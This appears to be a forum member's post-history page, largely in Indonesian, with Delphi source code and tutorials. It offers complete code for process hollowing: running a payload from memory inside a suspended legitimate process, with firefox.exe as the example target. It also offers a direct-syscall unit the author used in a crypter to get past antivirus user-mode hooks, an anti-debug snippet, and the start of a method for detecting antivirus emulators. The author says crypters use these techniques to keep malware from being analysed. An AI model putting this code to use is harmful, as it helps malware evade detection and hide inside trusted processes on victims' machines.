Perlihatkan Tulisan

Seksi ini mengijinkan Anda untuk melihat semua tulisan yang dibuat oleh anggota ini. Catatan bahwa Anda hanya bisa melihat tulisan yang dibuat dalam area di mana Anda memiliki akses terhadapnya.


Topik - meong

Halaman: [1] 2 3
1
Delphi/Pascal / [Delphi] Execute PE From Memory, Native Syscall Way
« pada: Desember 14, 2012, 11:49:59 AM »
Beberapa waktu yang lalu saya posting unit tentang bagaimana cara memanggil native api lansung pada syscall tanpa melalui ntdll http://cybercoding.wordpress.com/2012/12/01/union-api/

nah banyak teman" yang tanya cara penggunaannya.. Berhubung ada waktu luang maka sya buat unit yang mengeksekusi PE file from memory.

Methode Execute file from memory :
- Jalankan target executable dengan parameter CREATE_SUSPENDED. (windows akan menjalankan file yang mana setelah meload file ke memory dan settup process windows akan mensuspen process sebelum mengeksekusi main code pada entrypoint

- Dapatkan alamat imagebase(alamat memory dari pe file pada process spaces)

- alokasi dan tulis pe kita memory pada target process

- ubah image base dan entry point sesuai alamat memory pada target process (pe file kita)

- lanjutkan process (resumethread)

Simple kan ? hehehhe. methode ini banyak digunakan pada file crypter/binder di luar sana. Gunanya tentu saja agar file aslinya tidak di analisa secara lansung (karena terencrypt).  Tekniknya sendiri bukan teknik baru dan mempunyai kelemahan mendasar.. Misalnya dengan melakukan hooking fungsi alokasi dan resume thread  :lol:

btw unit dibawah ini hanya membuat methode execute from memory lebih sulit di deteksi pada usermode karena lansung memanggil native api tidak melalui ntdll melainkan lansung sycall (melakukan hall yang sama yang dilakukan ntdll)

Kode: [Pilih]
{ Just Another version execute File from memory, use native -> syscall for bypass all usermode hooker
  Website: Cybercoding.wordpress.com / http://ic0de.org
  Modified: abhe
  Thanks : steve10120
}
unit U_MemExecute;

interface
uses
windows, codesitelogging, U_UnionApi;

function ExecuteFromMem(szFilePath, szParams:String; pFile:Pointer; PatchPEB : Boolean):DWORD;
implementation


Type
  NTSTATUS = cardinal;
  PVOID = pointer;
  PPVOID = ^PVOID;

  PUnicodeString = ^TUnicodeString;
  TUnicodeString = packed record
    Length: Word;
    MaximumLength: Word;
    Buffer: PWideChar;
  end;

  PImageBaseRelocation = ^TImageBaseRelocation;
  TImageBaseRelocation = packed record
     VirtualAddress: DWORD;
     SizeOfBlock: DWORD;
  end;

procedure xdebug(int:integer);
begin
  codesite.Send('error',int);
end;

function NtSuccess (Stat: LongInt): Boolean;
begin
  Result := Stat >= 0;
end;

//just how virtualalloc from old code of win src
function ExVirtualAlloc(hProcess: THandle; lpAddress: Pointer;
  dwSize, flAllocationType: DWORD; flProtect: DWORD): Pointer; stdcall;
var
  Status: NTSTATUS;
begin
    status := ApiCall32('NtAllocateVirtualMemory', [
                hProcess,
                @lpAddress,
                0,
                @dwSize,
                flAllocationType,
                flProtect
              ]);

    if NtSuccess(Status) then result := lpAddress
    else result := nil;
end;

function ExWriteProcessMemory(hProcess: THandle; const lpBaseAddress: Pointer; lpBuffer: Pointer;
  nSize: DWORD; var lpNumberOfBytesWritten: DWORD): BOOL; stdcall;
var
  RegionSize: Cardinal;
  Base: Pointer;
  OldProtect: ULONG;
  Status: NTSTATUS;
begin
    result := false;
    RegionSize := nSize;
    Base := lpBaseAddress;

    Status := ApiCall32('NtProtectVirtualMemory', [
                hProcess,
                @Base,
                @RegionSize,
                PAGE_EXECUTE_READWRITE,
                @OldProtect
              ]);

    if NtSuccess(Status) then begin

      if ((OldProtect and PAGE_READWRITE) = PAGE_READWRITE) or
         ((OldProtect and PAGE_WRITECOPY) = PAGE_WRITECOPY) or
         ((OldProtect and PAGE_EXECUTE_READWRITE) = PAGE_EXECUTE_READWRITE) or
         ((OldProtect and PAGE_EXECUTE_WRITECOPY) = PAGE_EXECUTE_WRITECOPY) then begin

        ApiCall32('NtProtectVirtualMemory', [
          hProcess,
          @Base,
          @RegionSize,
          OldProtect,
          @OldProtect
        ]);

        Status := ApiCall32('NtWriteVirtualMemory', [
                    hProcess,
                    lpBaseAddress,
                    lpBuffer,
                    nSize,
                    @lpNumberOfBytesWritten
                  ]);

        if NtSuccess(Status) then begin
          result := true;
          ApiCall32('NtFlushInstructionCache', [hProcess,lpBaseAddress,nSize]);
        end;
      end else begin

        if ((OldProtect and PAGE_NOACCESS) = PAGE_NOACCESS) or
           ((OldProtect and PAGE_READONLY) = PAGE_READONLY) then begin

          ApiCall32('NtProtectVirtualMemory', [
            hProcess,
            @Base,
            @RegionSize,
            OldProtect,
            @OldProtect
          ]);
        end else begin

          Status := ApiCall32('NtWriteVirtualMemory', [
                      hProcess,
                      lpBaseAddress,
                      lpBuffer,
                      nSize,
                      @lpNumberOfBytesWritten
                    ]);

          ApiCall32('NtProtectVirtualMemory', [
            hProcess,
            @Base,
            @RegionSize,
            OldProtect,
            @OldProtect
          ]);

          if NtSuccess(Status) then begin
            result := true;
            ApiCall32('NtFlushInstructionCache', [hProcess,lpBaseAddress,nSize]);
          end;
        end;
      end;
    end;
end;

//patch imagepath from peb for make all getmodulefilename call will result true file lokation
Procedure PatchImagePathRemote(PH:Thandle; Peb:Dword; szNewImageBaseName: PWidechar);
Label
  Top, Retry;
var
  no_success  : integer;
  ldr_data    : Dword;
  Current     : DWord;
  BytesRead   : DWord;
  unicode     : TUnicodeString;
  pNewAddr    : Pointer;
begin
  no_success := 0;
Retry:
  if (no_success >= 600) then exit
  else begin
    inc(no_success);
    Sleep(50);
    goto Top;
  end;
Top :
    xdebug(400);
    //NtReadVirtualMemory
    if (not NtSuccess(ApiCall32('NtReadVirtualMemory',
      [ PH, Ptr(Peb+$c), @ldr_data, sizeof(ldr_data), @BytesRead]))) or
      (ldr_data = 0)  then goto Retry;


    xdebug(401);
    //NtReadVirtualMemory
    if (not NtSuccess(ApiCall32('NtReadVirtualMemory',
      [ PH, Ptr(ldr_data+$c), @Current, sizeof(Current), @BytesRead]))) or
      (Current = 0)  then goto Retry;

    xdebug(402);
    //NtReadVirtualMemory
    if (not NtSuccess(ApiCall32('NtReadVirtualMemory',
      [ PH, Ptr(Current+$24), @unicode, sizeof(unicode), @BytesRead])))  then exit;

    unicode.Length := lstrlenW(szNewImageBaseName) * 2;
    unicode.MaximumLength := unicode.Length+2;

    xdebug(403);
    pNewAddr := ExVirtualAlloc(PH, nil, unicode.Length, $1000 or $2000, $40);

    xdebug(404);
    if (pNewAddr<>nil) then begin
      xdebug(405);
      unicode.Buffer := pNewAddr;
      ExWriteProcessMemory(PH, pNewAddr, szNewImageBaseName, unicode.Length, BytesRead);
      ExWriteProcessMemory(PH, Ptr(Current+$24), @unicode, sizeof(unicode), BytesRead);
    end;
end;

function Get4ByteAlignedContext(var Base: Pointer): PContext;
begin
    Base := ExVirtualAlloc(Thandle(-1), nil, SizeOf(TContext) + 4, MEM_COMMIT, PAGE_READWRITE);
    Result := Base;
    if Base <> nil then
      while ((DWORD(Result) mod 4) <> 0) do
        Result := Pointer(DWORD(Result) + 1);
end;

procedure PerformBaseRelocation(f_module: Pointer; INH:PImageNtHeaders; f_delta: Cardinal); stdcall;
var
  l_i: Cardinal;
  l_codebase: Pointer;
  l_relocation: PImageBaseRelocation;
  l_dest: Pointer;
  l_relInfo: ^Word;
  l_patchAddrHL: ^longword;
  l_type, l_offset: integer;
begin
  l_codebase := f_module;
  if INH^.OptionalHeader.DataDirectory[5].Size > 0 then
  begin
    l_relocation := PImageBaseRelocation(Cardinal(l_codebase) + INH^.OptionalHeader.DataDirectory[5].VirtualAddress);
    while l_relocation.VirtualAddress > 0 do
    begin
      l_dest := Pointer((Cardinal(l_codebase) + l_relocation.VirtualAddress));
      l_relInfo := Pointer(Cardinal(l_relocation) + 8);
      for l_i := 0 to (Trunc(((l_relocation.SizeOfBlock - 8) / 2)) - 1) do
      begin
        l_type := (l_relInfo^ shr 12);
        l_offset := l_relInfo^ and $FFF;
        if l_type = 3 then
        begin
          l_patchAddrHL := Pointer(Cardinal(l_dest) + Cardinal(l_offset));
          l_patchAddrHL^ := l_patchAddrHL^ + f_delta;
        end;
        inc(l_relInfo);
      end;
      l_relocation := Pointer(cardinal(l_relocation) + l_relocation.SizeOfBlock);
    end;
  end;
end;

function AlignImage(pImage:Pointer):Pointer;
var
  IDH:          PImageDosHeader;
  INH:          PImageNtHeaders;
  ISH:          PImageSectionHeader;
  i:            WORD;
begin
    IDH := pImage;
    INH := Pointer(Integer(pImage) + IDH^._lfanew);
    GetMem(Result, INH^.OptionalHeader.SizeOfImage);
    ZeroMemory(Result, INH^.OptionalHeader.SizeOfImage);
    CopyMemory(Result, pImage, INH^.OptionalHeader.SizeOfHeaders);
    for i := 0 to INH^.FileHeader.NumberOfSections - 1 do begin
      ISH := Pointer(Integer(pImage) + IDH^._lfanew + 248 + i * 40);
      CopyMemory(Pointer(DWORD(Result) + ISH^.VirtualAddress), Pointer(DWORD(pImage) + ISH^.PointerToRawData), ISH^.SizeOfRawData);
    end;
end;

//execute pe file from memory
function ExecuteFromMem(szFilePath, szParams:String; pFile:Pointer; PatchPEB : Boolean):DWORD;
var
  IDH:      PImageDosHeader;
  INH:      PImageNtHeaders;
  PI:       TProcessInformation;
  SI:       TStartupInfo;
  CT:       PContext;
  CTBase,
  pModule:  Pointer;
  dwIBase,
  dwread:   DWORD;
  Wow1, wow2:     Cardinal;
begin
    Result := 0;

    {Check Image}
    if pFile=nil then exit;
    IDH := pFile;
    if (IDH^.e_magic <> IMAGE_DOS_SIGNATURE) then exit;
    INH := Pointer(Integer(pFile) + IDH^._lfanew);
    if (INH^.Signature <> IMAGE_NT_SIGNATURE) then exit;

    ZeroMemory(@SI, Sizeof(TStartupInfo));
    ZeroMemory(@PI, Sizeof(TProcessInformation));
    SI.cb := Sizeof(TStartupInfo);

    xdebug(200);
    if CreateProcess(PChar(szFilePath), PChar(szParams), nil, nil, FALSE, CREATE_SUSPENDED, nil, nil, SI, PI) then begin

      {check is64bit, if 64bit aplication then we dont inject to it.. inject to own file instead}
      Wow1 := IsWow;
      wow2 := 0;

      //NtQueryInformationProcess -> ProcessWow64Information
      ApiCall32('NtQueryInformationProcess', [PI.hProcess, 26, @wow2, Sizeof(wow2), nil]);

      if (Wow1 <> 0) and (wow2=0) then begin
        {target is 64bit, use self injection}

        //NtTerminateProcess
        ApiCall32('NtTerminateProcess', [PI.hProcess, 0]);

        xDebug(207);
        ExecuteFromMem(paramstr(0), szParams, pFile, patchpeb);

        exit;
      end;


      xdebug(201);
      CT := Get4ByteAlignedContext(CTBase);
      if (CT <> nil) then begin

        xdebug(202);
        CT.ContextFlags := CONTEXT_FULL;

        //NtGetContextThread
        if NtSuccess(ApiCall32('NtGetContextThread', [PI.hThread, CT])) then begin

          xdebug(203);
          dwread := 0;

          //NtReadVirtualMemory
          NtSuccess(ApiCall32('NtReadVirtualMemory',
            [PI.hProcess, Pointer(CT.Ebx + 8), @dwIBase, SizeOf(dwIBase), @dwread]));

          dwread :=  INH^.OptionalHeader.SizeOfImage;

          if (dwIBase = INH^.OptionalHeader.ImageBase) then begin
            //NtUnmapViewOfSection
            if ApiCall32('NtUnmapViewOfSection', [PI.hProcess, Pointer(INH^.OptionalHeader.ImageBase)])=0 then
              pModule := ExVirtualAlloc(PI.hProcess, Pointer(INH^.OptionalHeader.ImageBase), INH^.OptionalHeader.SizeOfImage, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE)
            else
              pModule := ExVirtualAlloc(PI.hProcess, nil, INH^.OptionalHeader.SizeOfImage, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
          end else
            pModule := ExVirtualAlloc(PI.hProcess, Pointer(INH^.OptionalHeader.ImageBase), INH^.OptionalHeader.SizeOfImage, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);

          if (pModule <> nil) then begin

            xdebug(204);
            pFile := AlignImage(pFile);
            if (DWORD(pModule) <> INH^.OptionalHeader.ImageBase) then begin
              PerformBaseRelocation(pFile, INH, (DWORD(pModule) - INH^.OptionalHeader.ImageBase));
              INH^.OptionalHeader.ImageBase := DWORD(pModule);
              CopyMemory(Pointer(Integer(pFile) + IDH^._lfanew), INH, 248);
            end;

            ExWriteProcessMemory(PI.hProcess, pModule, pFile, INH.OptionalHeader.SizeOfImage, dwread);
            ExWriteProcessMemory(PI.hProcess, Pointer(CT.Ebx + 8), @pModule, 4, dwread);

            CT.Eax := DWORD(pModule) + INH^.OptionalHeader.AddressOfEntryPoint;

            //NtSetContextThread
            ApiCall32('NtSetContextThread', [PI.hThread, CT]);

            //NtResumeThread
            ApiCall32('NtResumeThread', [PI.hThread, nil]);

            result := PI.hThread;

            if PatchPEB and (lstrcmp(PChar(Paramstr(0)), PChar(szFilePath))<>0) then begin
              xdebug(205);
              PatchImagePathRemote( PI.hProcess, CT.Ebx, PWideChar(Paramstr(0)));
            end;

            if (pFile <> nil) then FreeMemory(pFile);
            xdebug(206);
          end;
        end;

        //NtFreeVirtualMemory
        dwread := 0;
        ApiCall32('NtFreeVirtualMemory',[Thandle(-1), @CTBase, @dwread, MEM_RELEASE]);
      end;

      if (Result = 0) then begin
        //NtTerminateProcess
        ApiCall32('NtTerminateProcess', [PI.hProcess, 0]);
      end;

    end;
end;

end.


and example use

Kode: [Pilih]
function LoadFile2String(const FileName: TFileName): AnsiString;
begin
  result := '';
  if not fileexists(FileName) then exit;
  with TFileStream.Create(FileName,fmOpenRead or fmShareDenyWrite) do  // Reading our File To STREAM
  begin
    try
      SetLength(Result, Size);
      Read(Pointer(Result)^, Size);
    except
      Result := '';  // Deallocates memory
      Free;
      raise;
    end;
    Free;
  end;
end;

var
Data:ansiString;
begin
    Data := LoadFile2String('MemExecute - Copy.exe');
    ExecuteFromMem('C:\Program Files (x86)\Mozilla Firefox\firefox.exe', '', @data[1], true);

link to my blog http://cybercoding.wordpress.com/2012/12/14/execute-pe-frommemory-syscall-way/

2
Programming / Union Api - Call Native Api using syscall
« pada: Desember 01, 2012, 08:33:37 PM »
Hey guys, longtime not check this forum.. I'm not code a security aplication now.. So thingking for sharing some old code..

This unit used in my old crypter, called it MegaCrypter. Main idea is to use syscall for call native api so hard or imposible to hook in userland.

some reference :
http://www.nynaeve.net/?p=48
http://blog.oxff.net/#2sapnfkthvpzjscp3xwq
or just search google with keyword syscall, sysenter, or etc

btw here u go my unit

Kode: [Pilih]
{ U_UnionApi
  Author: Abhe
  Description: Anti Hook NTDLL API
  Release Date: 1 December 2011
  Website: http://cybercoding.wordpress.com/
  History: Thanks method from GameDeception, not remember who.. :D
}


unit U_UnionApi;

interface
uses
Windows;

var
  pSystemCall: Pointer;
  WOW32Reserved: Cardinal;
  Ntdll: Pointer;
  SysNumber : DWORD;

function strlenA(const s: PAnsiChar): cardinal;
function LazyLoadPe(szFilename:PWideChar):Pointer;
Function GetSysNumber(ApiHash : DWORD):Word;overload;
Function GetSysNumber(ApiName : AnsiString):Word; overload;
function ExGetmoduleHandle(mhash: Cardinal): THANDLE;
function ExGetmoduleFileName(mhash: Cardinal): PWideChar;

function ApiStub: DWORD; stdcall;

{32}
function ApiCall32(Number : DWORD; Arg1: Pointer): DWORD; stdcall; overload;
function ApiCall32(Number : DWORD; Arg1, Arg2: Pointer): DWORD; stdcall; overload;
function ApiCall32(Number : DWORD; Arg1, Arg2, Arg3: Pointer): DWORD; stdcall; overload;
function ApiCall32(Number : DWORD; Arg1, Arg2, Arg3, arg4: Pointer): DWORD; stdcall; overload;
function ApiCall32(Number : DWORD; Arg1, Arg2, Arg3, arg4, Arg5: Pointer): DWORD; stdcall; overload;
function ApiCall32(Number : DWORD; Arg1, Arg2, Arg3, arg4, arg5, Arg6: Pointer): DWORD; stdcall; overload;
function ApiCall32(Number : DWORD; Arg1, Arg2, Arg3, arg4, arg5, Arg6, Arg7: Pointer): DWORD; stdcall; overload;
function ApiCall32(Number : DWORD; Arg1, Arg2, Arg3, arg4, arg5, Arg6, Arg7, Arg8: Pointer): DWORD; stdcall; overload;
function ApiCall32(Number : DWORD; Arg: Array of Const): DWORD; stdcall; overload;
function ApiCall32(ApiName: AnsiString; Arg: Array of Const): DWORD; stdcall; overload;
implementation

function strlenA(const s: PAnsiChar): cardinal;
asm
  mov edx, edi
  mov edi, eax
  or ecx, -1
  xor eax, eax
  repne scasb
  dec eax
  dec eax
  sub eax, ecx
  mov edi, edx
end;

function adler32(adler: cardinal; buf: pointer; len: cardinal): cardinal;
asm
    push      ebx
    push      esi
    push      edi
    mov       edi,eax
    shr       edi,16
    movzx     ebx,ax
    push      ebp
    mov       esi,edx
    test      esi,esi
    mov       ebp,ecx
    jne       @31
    mov       eax,1
    jmp       @32
@31:
    test      ebp,ebp
    jbe       @34
@33:
    cmp       ebp,5552
    jae        @35
    mov       eax,ebp
    jmp        @36
@35:
    mov       eax,5552
@36:
    sub       ebp,eax
    cmp       eax,16
    jl        @38
    xor       edx,edx
    xor       ecx,ecx
@39:
    sub       eax,16
    mov       dl,[esi]
    mov       cl,[esi+1]
    add       ebx,edx
    add       edi,ebx
    add       ebx,ecx
    mov       dl,[esi+2]
    add       edi,ebx
    add       ebx,edx
    mov       cl,[esi+3]
    add       edi,ebx
    add       ebx,ecx
    mov       dl,[esi+4]
    add       edi,ebx
    add       ebx,edx
    mov       cl,[esi+5]
    add       edi,ebx
    add       ebx,ecx
    mov       dl,[esi+6]
    add       edi,ebx
    add       ebx,edx
    mov       cl,[esi+7]
    add       edi,ebx
    add       ebx,ecx
    mov       dl,[esi+8]
    add       edi,ebx
    add       ebx,edx
    mov       cl,[esi+9]
    add       edi,ebx
    add       ebx,ecx
    mov       dl,[esi+10]
    add       edi,ebx
    add       ebx,edx
    mov       cl,[esi+11]
    add       edi,ebx
    add       ebx,ecx
    mov       dl,[esi+12]
    add       edi,ebx
    add       ebx,edx
    mov       cl,[esi+13]
    add       edi,ebx
    add       ebx,ecx
    mov       dl,[esi+14]
    add       edi,ebx
    add       ebx,edx
    mov       cl,[esi+15]
    add       edi,ebx
    add       ebx,ecx
    cmp       eax,16
    lea       esi,[esi+16]
    lea       edi,[edi+ebx]
    jge       @39
@38:
    test      eax,eax
    je         @42
@43:
    xor       edx,edx
    mov       dl,[esi]
    add       ebx,edx
    dec       eax
    lea       esi,[esi+1]
  lea       edi,[edi+ebx]
    jg        @43
@42:
    mov       ecx,65521
    mov       eax,ebx
    xor       edx,edx
    div       ecx
    mov       ebx,edx
    mov       ecx,65521
    mov       eax,edi
    xor       edx,edx
    div       ecx
    test      ebp,ebp
    mov       edi,edx
    ja        @33
@34:
    mov       eax,edi
    shl       eax,16
    or        eax,ebx
@45:
@32:
    pop       ebp
    pop       edi
    pop       esi
    pop       ebx
end;

function LazyLoadPe(szFilename:PWideChar):Pointer;
var
  hFile:    DWORD;
  dwSize:   DWORD;
  dwNull:   DWORD;
  temp:     Pointer;
  IDH:      PImageDosHeader;
  INH:      PImageNtHeaders;
  ISH:      PImageSectionHeader;
  i:        WORD;
begin
  result := nil;
  hFile := CreateFileW(szFilename, GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, 0, 0);
  if (hFile = INVALID_HANDLE_VALUE) then exit;
  dwSize := GetFileSize(hFile, nil);
  GetMem(temp, dwSize);
  if not ReadFile(hFile, temp^, dwSize, dwNull, nil) then exit;
  IDH := temp;
  INH := Pointer(Integer(temp) + IDH^._lfanew);
  GetMem(Result, INH^.OptionalHeader.SizeOfImage);
  ZeroMemory(Result, INH^.OptionalHeader.SizeOfImage);
  CopyMemory(Result, temp, INH^.OptionalHeader.SizeOfHeaders);
  for i := 0 to INH^.FileHeader.NumberOfSections - 1 do begin
    ISH := Pointer(Integer(temp) + IDH^._lfanew + 248 + i * 40);
    CopyMemory(Pointer(DWORD(Result) + ISH^.VirtualAddress), Pointer(DWORD(temp) + ISH^.PointerToRawData), ISH^.SizeOfRawData);
  end;
  FreeMem(temp, dwSize);
  CloseHandle(hFile);
end;

function GetPEB(): Pointer;
asm
  mov eax, large fs:30h
  retn
end;

function ExGetmoduleHandle(mhash: Cardinal): THANDLE;
var
  x , f, cur  : DWORD;
  Hash        : Cardinal;
begin
  result := 0;
  x := DWORD(GetPEB);
  if (mhash = 0) then begin
    result := PDWORD(x+8)^;
    exit;
  end;
  x := PDWORD(x+$C)^;
  f := x+$14;
  cur := PDWORD(f)^;
  while (cur <> f) do begin
    x := cur - $8;
    Hash := adler32(0, Pointer(PDWORD(x+$30)^), PWORD(x+$2c)^);
    if (hash=mhash) then begin
      result := PDWORD(x+$18)^;
      exit;
    end;
    cur := PDWORD(cur)^;
  end;
end;

function ExGetmoduleFileName(mhash: Cardinal): PWideChar;
var
  x , f, cur  : DWORD;
  Hash        : Cardinal;
begin
  result := nil;
  x := DWORD(GetPEB);
  x := PDWORD(x+$C)^;
  f := x+$14;
  cur := PDWORD(f)^;
  while (cur <> f) do begin
    x := cur - $8;
    Hash := adler32(0, Pointer(PDWORD(x+$30)^), PWORD(x+$2c)^);
    if (hash=mhash) then begin
      result := PWidechar(Pointer(PDWORD(x+$28)^));
      exit;
    end;
    cur := PDWORD(cur)^;
  end;
end;

function ExGetProcAddress(hModule: THANDLE; phash: Cardinal): Pointer;
var
  pINH: PImageNtHeaders;
  pIDD: PImageDataDirectory;
  pIED: PImageExportDirectory;
  pdwFuncs1, pdwFuncs: PULONG;
  pdwNames: PULONG;
  pdwOrdinals: PWORD;
  dwOrd1: DWORD;
  i, k: cardinal;
  apiname:PAnsiChar;
  hash :Cardinal;
begin
  result := nil;
  pINH := PImageNtHeaders(Cardinal(hModule) + Cardinal(PImageDosHeader(hModule)^._lfanew));
  pIDD := PImageDataDirectory(Cardinal(@pINH^.OptionalHeader.DataDirectory) + IMAGE_DIRECTORY_ENTRY_EXPORT);
  pIED := PImageExportDirectory(ULONG(hModule) + pIDD^.VirtualAddress);
  pdwFuncs := PULONG(ULONG(hModule) + Cardinal(pIED^.AddressOfFunctions));
  pdwNames := PULONG(ULONG(hModule) + Cardinal(pIED^.AddressOfNames));
  pdwOrdinals := PWORD(ULONG(hModule) + Cardinal(pIED^.AddressOfNameOrdinals));
  pdwFuncs1 := pdwFuncs;
  for i := 0 to pIED^.NumberOfNames - 1 do begin
    dwOrd1 := pdwOrdinals^;
    k := 0;
    pdwFuncs := pdwFuncs1;
    while (k < dwOrd1) do begin
      inc(pdwFuncs);
      inc(k);
    end;
    if (pdwFuncs^ < pIDD^.VirtualAddress) or (pdwFuncs^ >= pIDD^.VirtualAddress + pIDD^.Size) then begin
      apiname := PAnsiChar(hModule + pdwNames^);
      hash := adler32(0, apiname, strlenA(apiname));
      if (hash = phash) then begin
        result := Pointer(ULONG(hModule) + pdwFuncs^);
        exit;
      end;
    end;
    inc(pdwOrdinals);
    inc(pdwNames);
  end;
end;

Function GetSysNumber(ApiHash : DWORD):Word;
var
  Addr : Pointer;
begin
  Addr := ExGetProcAddress(Cardinal(Ntdll), ApiHash);
  result := PWord(NativeUint(Addr)+1)^
end;

Function GetSysNumber(ApiName : AnsiString):Word;
var
  Hash : Cardinal;
begin
  hash := adler32(0, Pansichar(apiname), Length(apiname));
  result := GetSysNumber(hash);
end;

//
// Manual System Call Api
//
function IsWow:NativeUint; stdcall;
asm
  xor   eax, eax
  mov   eax, fs:[eax+$18] //teb
  mov   eax, [eax+$C0] //WOW32Reserved
end;

function bSysenterAvailable: Bool;
asm
  XOR EAX, EAX
  CPUID
  BT EDX, 11
  db $D6 //SALC
end;

procedure INT2;
asm
  LEA EDX, [ESP+8]
  INT $2E
end;

procedure SYSENTER;
asm
  MOV EDX, ESP
  SYSENTER
end;

procedure WowCall;
asm
  xor ecx,ecx
  lea edx,[esp+4]
  call dword ptr fs:[$0C0]
end;

Procedure InitSysCall;
begin
  WOW32Reserved := IsWow;
  {check if sysenter availabe, use int2 if not}
  if not bSysenterAvailable then pSystemCall := @INT2
  else pSystemCall := @SYSENTER;
  if Boolean(WOW32Reserved) then pSystemCall := @WowCall;
end;

function ApiStub: DWORD; stdcall;
asm
  POP EBP
  mov edi, dword ptr [esp]
  mov dword ptr [esp+4], edi
  add esp, 4
  push eax
  call IsWow;
  mov edi, eax
  pop eax
  dec edi
  jns @F1
  xor EDI, EDI
  call pSystemCall
  jmp @f2
@F1:
  xor EDI, EDI
  jmp pSystemCall
@F2:
  //PUSH EBP
end;

function ApiCall32(Number : DWORD; Arg1: Pointer): DWORD; stdcall;
asm
  jmp ApiStub;
end;

function ApiCall32(Number : DWORD; Arg1, Arg2: Pointer): DWORD; stdcall;
asm
  jmp ApiStub;
end;

function ApiCall32(Number : DWORD; Arg1, Arg2, Arg3: Pointer): DWORD; stdcall;
asm
  jmp ApiStub;
end;

function ApiCall32(Number : DWORD; Arg1, Arg2, Arg3, arg4: Pointer): DWORD; stdcall;
asm
  jmp ApiStub;
end;

function ApiCall32(Number : DWORD; Arg1, Arg2, Arg3, arg4, Arg5: Pointer): DWORD; stdcall;
asm
  jmp ApiStub;
end;

function ApiCall32(Number : DWORD; Arg1, Arg2, Arg3, arg4, arg5, Arg6: Pointer): DWORD; stdcall;
asm
  jmp ApiStub;
end;

function ApiCall32(Number : DWORD; Arg1, Arg2, Arg3, arg4, Arg5, Arg6, Arg7: Pointer): DWORD; stdcall;
asm
  jmp ApiStub;
end;

function ApiCall32(Number : DWORD; Arg1, Arg2, Arg3, arg4, arg5, Arg6, Arg7, Arg8: Pointer): DWORD; stdcall;
asm
  jmp ApiStub;
end;

function ApiCall32(Number : DWORD; Arg: Array of Const): DWORD; stdcall;
begin
  case length(arg) of
    1 : result := ApiCall32(Number, Arg[0].VPointer);
    2 : result := ApiCall32(Number, Arg[0].VPointer, Arg[1].VPointer);
    3 : result := ApiCall32(Number, Arg[0].VPointer, Arg[1].VPointer, Arg[2].VPointer);
    4 : result := ApiCall32(Number, Arg[0].VPointer, Arg[1].VPointer, Arg[2].VPointer, Arg[3].VPointer);
    5 : result := ApiCall32(Number, Arg[0].VPointer, Arg[1].VPointer, Arg[2].VPointer, Arg[3].VPointer, Arg[4].VPointer);
    6 : result := ApiCall32(Number, Arg[0].VPointer, Arg[1].VPointer, Arg[2].VPointer, Arg[3].VPointer, Arg[4].VPointer, Arg[5].VPointer);
    7 : result := ApiCall32(Number, Arg[0].VPointer, Arg[1].VPointer, Arg[2].VPointer, Arg[3].VPointer, Arg[4].VPointer, Arg[5].VPointer, Arg[6].VPointer);
    8 : result := ApiCall32(Number, Arg[0].VPointer, Arg[1].VPointer, Arg[2].VPointer, Arg[3].VPointer, Arg[4].VPointer, Arg[5].VPointer, Arg[6].VPointer, Arg[7].VPointer);
    else result := 0;
  end;
end;

function ApiCall32(ApiName: AnsiString; Arg: Array of Const): DWORD; stdcall;
begin
  result := ApiCall32(GetSysNumber(ApiName), Arg);
end;


initialization
  Ntdll := LazyLoadPe(ExGetmoduleFileName($240C0388));
  InitSysCall;
finalization
  FreeMem(Ntdll);
end.

contoh penggunaan:
Kode: [Pilih]
function ExOpenProcess(dwDesiredAccess: DWord; Id : DWord):THANDLE;
var
  hProcess: THANDLE;
  attr: OBJECT_ATTRIBUTES;
  cli: CLIENT_ID;
begin
  InitializeObjectAttributes(@attr, nil, 0, 0, nil);
  cli.UniqueProcess := THandle(Id);
  cli.UniqueThread := 0;
  result := 0;
  if NtSuccess(ApiCall32('NtOpenProcess', [@hProcess, dwDesiredAccess, @attr, @cli])) then result := hProcess
end;

function Antidebug1:boolean;
var
  h:Thandle;
begin
  result := false;
  h := ExOpenProcess(PROCESS_ALL_ACCESS, CsrGetProcessId);
  if h<>0 then begin
    result := true;
    ApiCall32('NtClose', [h]); //NtClose
  end;
end;

btw link to my blog http://cybercoding.wordpress.com/2012/12/01/union-api/

3
Programming / Belajar Memory Forensic Dengan Volatility
« pada: Januari 12, 2012, 02:20:50 PM »
nulis dikit di blog tentang volatility (Memory Forensic), sapa tau berguna..

Link: http://cybercoding.wordpress.com/2012/01/12/memory-forensic-volatility/#more-152

4
Delphi/Pascal / [Delphi] Method for Detect AntiVirus Emulator
« pada: Desember 13, 2011, 06:09:58 AM »
Emulator adalah ruang virtual pada antivirus yang digunakan untuk mengeksekusi malware. Gunanya adalah agar antivirus dapat mengetahui behavior dari virus tampa harus menginfeksi real system. Selain itu emulator juga digunakan sebagai generic unpacking bagi malware - malware yang diproteksi program pelindung seperti crypter/packer. Sangat critical fungsi dari emulator ini, bahkan sudah menjadi keharusan suatu antivirus mempunyai engine emulator didalamnya. Kalau saja antivirus buatan anda tidak ada emulatornya saya sih cuman bilang bershowerlah* (ikutan kata pocoong).  Meski demikian membuat emulator tidaklah mudah, tantangan terberat adalah bagaimana membuat ruang virtual ini tampak bagai real system bagi virus. Nah pada tulisan ini saya menshare methode dan snippet code yang bisa digunakan untuk mendeteksi emulator dari AV.

Tiap melakukan load image, windows loader akan memulainya dengan membuat section dan mengakhiri dengan menyimpan informasi loaded image pada PEB (Process Environtment Block).

Process pembuatan section kita bisa liat pada doxygen reactos (for apicall)  yang  adalah sebagai berikut :
Kutip
LdrpLoadDll
http://doxygen.reactos.org/dd/d83/ntdllp_8h_a297208bd9a920c295937d755afc40387.html#a297208bd9a920c295937d755afc40387

LdrpLoadDll akan memanggil LdrpMapDll
http://doxygen.reactos.org/dd/d83/ntdllp_8h_a2108d522b1162cb346c676b0ddc5272e.html#a2108d522b1162cb346c676b0ddc5272e

LdrpMapDll akan memanggil LdrpCreateDllSection
http://doxygen.reactos.org/d8/d55/ldrutils_8c_abb3a063e894fe6a8bfce3a541d4af034.html#abb3a063e894fe6a8bfce3a541d4af034

LdrpCreateDllSection  akan memanggil NtCreateSection dan seterusnya

